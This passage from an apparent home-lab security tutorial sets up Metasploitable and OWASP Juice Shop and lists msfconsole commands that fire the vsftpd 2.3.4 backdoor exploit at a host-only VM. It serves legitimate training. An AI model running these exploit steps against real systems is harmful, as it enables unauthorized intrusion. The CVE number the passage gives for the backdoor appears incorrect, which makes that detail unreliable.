       2. Set Network Adapter to "Host-Only Adapter" (e.g., vboxnet0).
   
       3. Allocate 1 CPU core and 512MB RAM.
   
       4. Attach the Metasploitable ISO and boot.
   
       

   Verify connectivity by pinging the VM’s IP (e.g., `192.168.56.10`) from the host.

7. Deploy OWASP Juice Shop
   Use Docker for containerized deployment:

   On host machine (Linux/macOS/WSL):
       docker pull bkimminich/juice-shop
   
       docker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop
   Access the web app at `http://localhost:3000` and test vulnerabilities (e.g., broken authentication, XSS).

8. Integrate Metasploit Framework
   Install Metasploit on Kali Linux (or a separate VM):

   Inside Kali Linux VM:
       sudo apt update && sudo apt install metasploit-framework
   
       msfconsole
   
       > use exploit/unix/ftp/vsftpd_234_backdoor
   
       > set RHOSTS 192.168.56.101  # Metasploitable IP
   
       > exploit
   
       

   Document the steps to exploit Metasploitable’s FTP service (CVE-2011-2520).
